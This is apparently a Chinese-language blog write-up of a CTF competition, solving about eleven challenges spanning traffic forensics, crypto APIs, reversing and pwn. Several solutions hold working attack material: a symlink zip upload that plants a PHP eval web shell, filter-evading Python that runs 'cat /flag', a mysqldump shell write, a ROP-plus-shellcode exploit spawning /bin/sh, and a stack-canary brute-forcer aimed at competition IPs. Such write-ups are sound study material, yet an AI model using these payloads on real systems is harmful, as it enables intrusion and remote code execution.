签到卡

操作内容:

启动靶机环境,由于题目提示公众号有hint

使用打字机输入hint内容成功读取passwd内容

举一反三去阅读/flag内容,成功读取flag

flag值:

flag{dce155f0-c7ea-4f95-ac1e-49c621d3969a}

被加密的生产流量

操作内容:

下载题目附件,modbus.pcap,使用wireshark打开流量包

由于题目提示是modbus,所以直接筛选modbus

选择一条modbus流量追踪tcp流

查案流内容,发现下方有A===,于是将客户端流量字符提取出来,经过测试是BASE32,解BASE32得到flag

flag值:

flag{c1f_fi1g_1000}

基于国密SM2算法的密钥密文分发

操作内容:

启动环境,查看手册

首先请求接口/api/login 传入选手信息,获取id

"id": "7a670687-9fdf-4e76-b63f-2809d3b75e01"

使用在线工具生成公钥和私钥请求/api/allkey,获得服务器端生成的B公钥和B私钥

随后请求/api/quantum获取quantumString

随后使用randomString当私钥,使用SM2算法去解密quantumString

随后将得到的hex字符串传入/api/check

提示结果正确,再次请求/api/search获取到flag

{
  "message": "success",
  "data": {
    "id": "7a670687-9fdf-4e76-b63f-2809d3b75e0*",
    "name": " ***",
    "school": "******",
    "phone": "************",
    "publicKey": "04aaf3dea4ad1aaa3a3fe11a065495a04a7af80367650a0b4f72e24bf5011078a561140c68a8a1ac0319dc4f4fdf2a91e1b605b466666e856b73208818591885c8",
    "privateKey": "8d5dd67125c204a9d82a7257d8f826f74dd8b593926acaebef4ad7627557f17b",
    "randomString": "8547ac276d6c0ae78f96c8ccd0c0baa2",
    "quantumStringServer": "3712c59e9f353c60ed7cabc33b02b714",
    "quantumStringUser": "0FDA0268641CA4A33B27C00E0F043F97",
    "flag": "已完成考题,结果正确:flag{446c94ed-5987-46e9-9f61-8ce9f3443e5a}"
  }
}

flag值

flag{446c94ed-5987-46e9-9f61-8ce9f3443e5a}

可信度量

操作内容:

使用player/player链接平台给的SSH,进入tcmenv_question目录

阅读赛题,需要修改key_manage.c,使得程序可以防御重放攻击

且修改完成后make编译后使用player.sh转到root环境去检查

经过查看发现/root/下有类修好的源码,不过没有权限,最早想的是提权到root,不过查看了环境变量

top查看PID,查看了几个bash、root_start.sh后,定位到了PID为22的进程

查看/proc/22

成功在进程环境变量中找到flage019b3821265]

flag值:

flag{tb07b4821-5134-4fc8-829a-e019b3821265}

Sign_in_passwd

操作内容:

下载解压附件得到flag文件

第二行内容进行URL解码后,作为字母表解BASE64,得到flag

字母表:GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

flag值:

flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

unzip

操作内容:

启动靶机,任意上传一个文件得到PHP源码

<?php
  error_reporting(0)
  highlight_file(__FILE__)

 $finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd ./ && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

审计PHP源码,若form表单传过来文件ContentType为zip时,解压文件到/tmp

结合到题目提示unzip安全问题,这里使用软连接绕过

ln -s /var/www/html dddir
zip --symlinks z.zip ./*

创建一个软连接到/var/www/html 命名为dddir

随后将一句话木马shell.php放进dddir目录下,随后在外层目录压缩

mkdir dddir
cd dddir
zip -r z2.zip ./*

shell.php内容为下
<?php @eval($_GET['s']);

随后先传z1.zip,会将软连接dddir解压在/tmp,再传z2.zip,由于使用的unzip -O会覆盖解压,所以会将shell.php解压到/var/www/html

上传完成后访问/shell.php?s=phpinfo();

测试成功,随后使用system函数执行ls查看当前目录以及根目录

在根目录找到读取flag

flag值:

flag{ffcdf6f7-3e25-4307-9752-0fa0ec71f40e}

pyshell

操作内容:

启动靶机,发现是伪python shell

尝试后发现 import | system | eval 等等函数均被过滤,甚至字符串过长也不行

需要读取flag,所以需要能 os.system("cat /flag"),且要import os

__import__('os').system('cat /flag')

由于一次只能传入少量字符,所以分多次发

'__imp'
_+'ort'
_+'__('
_+"'os"
_+"')."
_+"sys"
_+"tem"
_+"('c"
_+"at "
_+"/fl"
_+"ag'"
_+")"
eval(_)

执行后得到flag

flag值:

flag{a6cc1ae0-dc91-48ab-9339-371e3727ba74}

dumpit

操作内容:

Get传参?db=ctf&table_2_dump=

搜索可知使用的mysqldump命令

使用-r 参数来写入shell

Shell引用地址:https://blog.csdn.net/weixin_30432579/article/details/96203584

然后在1.php命令执行,首先访问flag,但是读不出来,然后尝试读env,发现flag在env里

flag值:

flag{909de11c-5ddf-4a41-a6e4e314c72ff2f0}

16 babyRE

操作内容:

Xml文件

看到flag先交一下明显不对

看到key和test感觉有点关系尝试异或

int main()
{
char key[] = "flag{o_shit_i_dont_know_that}";
int test[] = { 102,10,13,6,28,20,48,44,27,1,29,43,54,54,59,11,1,26,43,52,5,1,24,40,43,28,9,21,9 };
for (int i = 0; i < 29; i++)
cout <<char(key[i] ^ test[i]);
return 0;
}

发现test列表是key[i]异或key[i+1]得到的

上面找到对doInsertInList的赋值GPT分析一下第一个<1>标签是赋的值第二个<1>标签是赋值的位置按照位置手撸得到

102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30

发现得到的列表与test列表的前几位相同,即异或得到flag的数

尝试写C++脚本异或

int main()
{
int str[] = { 102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30
};
for (int i = 0; i < 41; i++)
{
str[i + 1] ^= str[i];
}
for (int i = 0; i < 42; i++)
cout <<char(str[i]);

return 0;
}

flag值:

flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

烧烤摊儿

操作内容:

checksec

ida分析:

main函数:

pijiu()函数:

逻辑就是,选择啤酒品牌,然后选择购买数量,然后判断钱包余额,够了就扣钱。

chuan()函数:

逻辑跟pijiu()函数一样。

yue()函数:

输出钱包余额。

vip()函数:购买摊位。

购买摊位后own变为1通过if判断,进入gaiming函数:

name所处位置为data段。

思路:

先买 -100000瓶啤酒攒够收购摊位的钱,购买摊位。

钱有一百多万。直接收购摊位。

选择改名进入目标溢出点:

由于会把数据copy到data段,可以注入shellcode,但执行不了,于是利用程序中的mprotect函数来更改data段读写执行权限。mprotect地址为0x458b00。

查找对应寄存器存放调用mprotect所需要的参数。

调用完mprotect之后注入shellcode执行即可得到shell。

exp如下:

from pwn import *
# r=remote('123.56.251.120',40347)
r=process('./shaokao')
name=0x4e60f0
rdi=0x000000000040264f
rsi=0x000000000040a67e
rdx=0x00000000004a404b
m=0x458b00
ret=0x000000000040101a
system=0x00000000004b8768
sh=0x00000000004b7795
main=0x401b45
context(os='linux',arch='amd64',log_level='debug')
r.sendlineafter(">",'1')
r.sendline('1')
r.sendlineafter("来几瓶?",'-10000')
r.sendlineafter(">",'4')
r.sendlineafter(">",'5')
p=flat(b'a'*(0x28),rdi,0x4e6000,rsi,0x1000,rdx,0x7,m,m,ret,main,word_size=64)
r.sendlineafter("烧烤摊儿已归你所有,请赐名:", p)
r.sendlineafter(">",'1')
r.sendline('1')
r.sendlineafter("来几瓶?",'-10000')
r.sendlineafter(">",'4')
r.sendlineafter(">",'5')
p2=flat('\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05',b'a'*(17),name,word_size=64)
r.sendlineafter("烧烤摊儿已归你所有,请赐名:",p2)
r.interactive()

flag值:

flag{fof99ebf-0be5-4f9f-a2ff-37ee56803450}

funcanary

操作内容:

checksec

ida分析:

sub_128A()函数:

checksec后发现保护全开,ida又看见fork,第一思路就是多进程爆破canary值。由于canary低1位字节固定"\00",只需要爆破前七位字节即可,我们知道子进程会完全复制父进程地址空间的内容,也就是说canary是一样的,每次我们利用子进程进行溢出,每次只溢出一个字节,每次爆破完检查程序是否响应了消息 "stack smashing"。如果响应了,则意味着字节值是正确的,如此反复直到爆破完七位得到canary,爆破完之后正常构造payload覆盖返回地址指向打印flag得地址,接收打印出的flag再print出即可。

exp如下:from pwn import *

rom pwn import *
context(os='linux', arch='amd64', log_level='debug')
r = remote('39.105.26.155',37195)
def bpcanary():
    canary = b'\x00'
    for j in range(7):
        for i in range(1, 0xff):
            r.recvuntil(b'welcome\n')
            p = b'a'*0x68 + canary + p8(i)
            r.send(p)
            s = r.recvline()
            if b'stack smashing' not in s:
                canary += p8(i)
                break
    return canary

if __name__=='__main__':
    canary = bpcanary()
    print(' canary -> ', canary)
    p= b'a'*0x68 + canary + b'a'*8 + p16(0x1228)
    r.sendafter(b'welcome\n', p)
    print(r.recv())

flag值:

flag{879ef0fb-b8fa-414a-bf63-f111a0e4df0b}

届ける言葉を今は育ててる
最后更新于 2023-08-27